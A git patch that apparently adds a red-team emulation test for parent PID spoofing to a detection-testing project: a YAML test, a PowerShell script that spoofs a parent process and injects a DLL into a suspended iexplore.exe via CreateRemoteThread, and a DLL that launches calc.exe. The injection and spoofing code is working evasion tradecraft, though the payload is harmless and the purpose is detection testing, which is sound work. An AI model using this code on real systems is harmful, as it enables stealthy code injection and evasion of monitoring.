From 23d49d81083fc32761dfdfbdd18073cc24425a1a Mon Sep 17 00:00:00 2001 From: Mr B0b <6248411+Mr-B0b@users.noreply.github.com> Date: Tue, 10 Dec 2019 23:21:34 +0100 Subject: [PATCH] Add test for T1502 that performs Parent PID Spoofing (#708) --- atomics/T1502/T1502.yaml | 45 ++++++ atomics/T1502/bin/calc.dll | Bin 0 -> 9728 bytes atomics/T1502/src/PPID-Spoof.ps1 | 248 +++++++++++++++++++++++++++++++ atomics/T1502/src/calc.c | 27 ++++ 4 files changed, 320 insertions(+) create mode 100644 atomics/T1502/T1502.yaml create mode 100644 atomics/T1502/bin/calc.dll create mode 100644 atomics/T1502/src/PPID-Spoof.ps1 create mode 100644 atomics/T1502/src/calc.c diff --git a/atomics/T1502/T1502.yaml b/atomics/T1502/T1502.yaml new file mode 100644 index 00000000..09d5e539 --- /dev/null +++ b/atomics/T1502/T1502.yaml @@ -0,0 +1,45 @@ +--- +attack_technique: T1502 +display_name: Parent PID Spoofing + +atomic_tests: +- name: Parent PID Spoofing using PowerShell + description: | + This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process. + Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1) + + supported_platforms: + - windows + + input_arguments: + parent_process_name: + description: Name of the parent process + type: string + default: "explorer" + dll_path: + description: Path of the dll to inject + type: string + default: $PathToAtomicsFolder\T1502\bin\calc.dll + dll_process_name: + description: Name of the created process from the injected dll + type: string + default: "calculator" + spawnto_process_path: + description: Path of the process to spawn + type: string + default: C:\Program Files\Internet Explorer\iexplore.exe + spawnto_process_name: + description: Name of the process to spawn + type: string + default: "iexplore" + + executor: + name: powershell + elevation_required: false + command: | + . $PathToAtomicsFolder\T1502\src\PPID-Spoof.ps1 + $ppid=Get-Process #{parent_process_name} | select -expand id + PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}" + cleanup_command: | + Stop-Process -Name "#{dll_process_name}" + Stop-Process -Name "#{spawnto_process_name}" \ No newline at end of file diff --git a/atomics/T1502/bin/calc.dll b/atomics/T1502/bin/calc.dll new file mode 100644 index 0000000000000000000000000000000000000000..646984098acc1e82902a33a9cbe5f8b1d7a394ce GIT binary patch literal 9728 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 wsdoO@;?TWze$H3QHk0a*t*X#fBK literal 0 HcmV?d00001 diff --git a/atomics/T1502/src/PPID-Spoof.ps1 b/atomics/T1502/src/PPID-Spoof.ps1 new file mode 100644 index 00000000..d6926686 --- /dev/null +++ b/atomics/T1502/src/PPID-Spoof.ps1 @@ -0,0 +1,248 @@ +function PPID-Spoof{ +<# + +.SYNOPSIS + Ppid-Spoof-Process-Masquerade is used to replicate how Cobalt Strike does ppid spoofing and masquerade a spawned process. + + Author: In Ming Loh + Email: inming.loh@countercept.com + +.PARAMETER ppid + Parent process PID + +.PARAMETER spawnTo + Path to the process you want your payload to masquerade as. + +.PARAMETER dllPath + Dll for the backdoor. + If powershell is running on 64-bits mode, dll has to be 64-bits dll. The same for 32-bits mode. + +.EXAMPLE + PS> PPID-Spoof -ppid 1234 -spawnto "C:\Windows\System32\notepad.exe" -dllpath messagebox.dll +#> + + [CmdletBinding()] + param ( + [Parameter(Mandatory = $True)] + [int]$ppid, + [Parameter(Mandatory = $True)] + [string]$spawnTo, + [Parameter(Mandatory = $True)] + [string]$dllPath + ) + + # Native API Definitions + Add-Type -TypeDefinition @" + using System; + using System.Runtime.InteropServices; + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct STARTUPINFO + { + public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; + } + + [Flags] + public enum AllocationType + { + Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 + } + + [Flags] + public enum MemoryProtection + { + Execute = 0x10, ExecuteRead = 0x20, ExecuteReadWrite = 0x40, ExecuteWriteCopy = 0x80, NoAccess = 0x01, ReadOnly = 0x02, ReadWrite = 0x04, WriteCopy = 0x08, GuardModifierflag = 0x100, NoCacheModifierflag = 0x200, WriteCombineModifierflag = 0x400 + } + + public static class Kernel32{ + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess( + UInt32 processAccess, + bool bInheritHandle, + int processId); + + [DllImport("kernel32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool InitializeProcThreadAttributeList( + IntPtr lpAttributeList, + int dwAttributeCount, + int dwFlags, + ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool UpdateProcThreadAttribute( + IntPtr lpAttributeList, + uint dwFlags, + IntPtr Attribute, + IntPtr lpValue, + IntPtr cbSize, + IntPtr lpPreviousValue, + IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetProcessHeap(); + + [DllImport("kernel32.dll", SetLastError=false)] + public static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, UIntPtr dwBytes); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool CreateProcess( + string lpApplicationName, + string lpCommandLine, + ref SECURITY_ATTRIBUTES lpProcessAttributes, + ref SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandles, + uint dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + [In] ref STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool CloseHandle(IntPtr hHandle); + + [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] + public static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + Int32 dwSize, + AllocationType flAllocationType, + MemoryProtection flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtectEx( + IntPtr hProcess, + IntPtr lpAddress, + Int32 dwSize, + uint flNewProtect, + out uint lpflOldProtect); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + IntPtr lpThreadId); + + [DllImport("kernel32.dll")] + public static extern bool ProcessIdToSessionId(uint dwProcessId, out uint pSessionId); + + [DllImport("kernel32.dll")] + public static extern uint GetCurrentProcessId(); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); + + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("kernel32", CharSet=CharSet.Ansi)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName); + + [DllImport("kernel32.dll", CharSet=CharSet.Auto)] + public static extern IntPtr GetModuleHandle( + string lpModuleName); + } +"@ + + # Check if the pid specified is within the same session id as the current process. + $processSessionId = 0 + $parentSessionId = 0 + $currentPid = [Kernel32]::GetCurrentProcessId() + $result1 = [Kernel32]::ProcessIdToSessionId($currentPid, [ref]$processSessionId) + $result2 = [Kernel32]::ProcessIdToSessionId($ppid, [ref]$parentSessionId) + + if(!$result1 -or !$result2){ + Write-Host "kernel32!ProcessIdToSessionId function failed!" + break + } + if($processSessionId -ne $parentSessionId){ + Write-Host "Different session id for processes! Try process that's within the same session instead." + break + } + + # Prepare all the argument needed. + $sInfo = New-Object StartupInfo + $sInfoEx = New-Object STARTUPINFOEX + $pInfo = New-Object PROCESS_INFORMATION + $SecAttr = New-Object SECURITY_ATTRIBUTES + $SecAttr.nLength = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) + $sInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($sInfoEx) + $lpSize = [IntPtr]::Zero + $sInfoEx.StartupInfo = $sInfo + $hSpoofParent = [Kernel32]::OpenProcess(0x1fffff, 0, $ppid) + $lpValue = [IntPtr]::Zero + $lpValue = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([IntPtr]::Size) + [System.Runtime.InteropServices.Marshal]::WriteIntPtr($lpValue, $hSpoofParent) + $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName + + # ppid spoofing and process spoofing happening now. + $result1 = [Kernel32]::InitializeProcThreadAttributeList([IntPtr]::Zero, 1, 0, [ref]$lpSize) + $sInfoEx.lpAttributeList = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($lpSize) + $result1 = [Kernel32]::InitializeProcThreadAttributeList($sInfoEx.lpAttributeList, 1, 0, [ref]$lpSize) + $result1 = [Kernel32]::UpdateProcThreadAttribute($sInfoEx.lpAttributeList, + 0, + 0x00020000, # PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000 + $lpValue, + [IntPtr]::Size, + [IntPtr]::Zero, + [IntPtr]::Zero) + $result1 = [Kernel32]::CreateProcess($spawnTo, + [IntPtr]::Zero, + [ref]$SecAttr, + [ref]$SecAttr, + 0, + 0x08080004, #EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | CREATE_SUSPENDED + # 0x00080010, # EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE (This will show the window of the process) + [IntPtr]::Zero, + $GetCurrentPath, + [ref] $sInfoEx, + [ref] $pInfo) + + if($result1){ + Write-Host "Process $spawnTo is spawned with pid "$pInfo.dwProcessId + }else{ + Write-Host "Failed to spawn process $spawnTo" + break + } + + $dllPath = (Resolve-Path $dllPath).ToString() + + # Load and execute dll into spoofed process. + $loadLibAddress = [Kernel32]::GetProcAddress([Kernel32]::GetModuleHandle("kernel32.dll"), "LoadLibraryA") + $lpBaseAddress = [Kernel32]::VirtualAllocEx($pInfo.hProcess, 0, $dllPath.Length, 0x00003000, 0x4) + $result1 = [Kernel32]::WriteProcessMemory($pInfo.hProcess, $lpBaseAddress, (New-Object "System.Text.ASCIIEncoding").GetBytes($dllPath), $dllPath.Length, [ref]0) + $result1 = [Kernel32]::CreateRemoteThread($pInfo.hProcess, 0, 0, $loadLibAddress, $lpBaseAddress, 0, 0) +} diff --git a/atomics/T1502/src/calc.c b/atomics/T1502/src/calc.c new file mode 100644 index 00000000..15822d0e --- /dev/null +++ b/atomics/T1502/src/calc.c @@ -0,0 +1,27 @@ +#include +#include + +void main(void) +{ + system("calc.exe"); + return; +} + +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + { + main(); + break; + } + case DLL_THREAD_ATTACH: + break; + case DLL_THREAD_DETACH: + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +}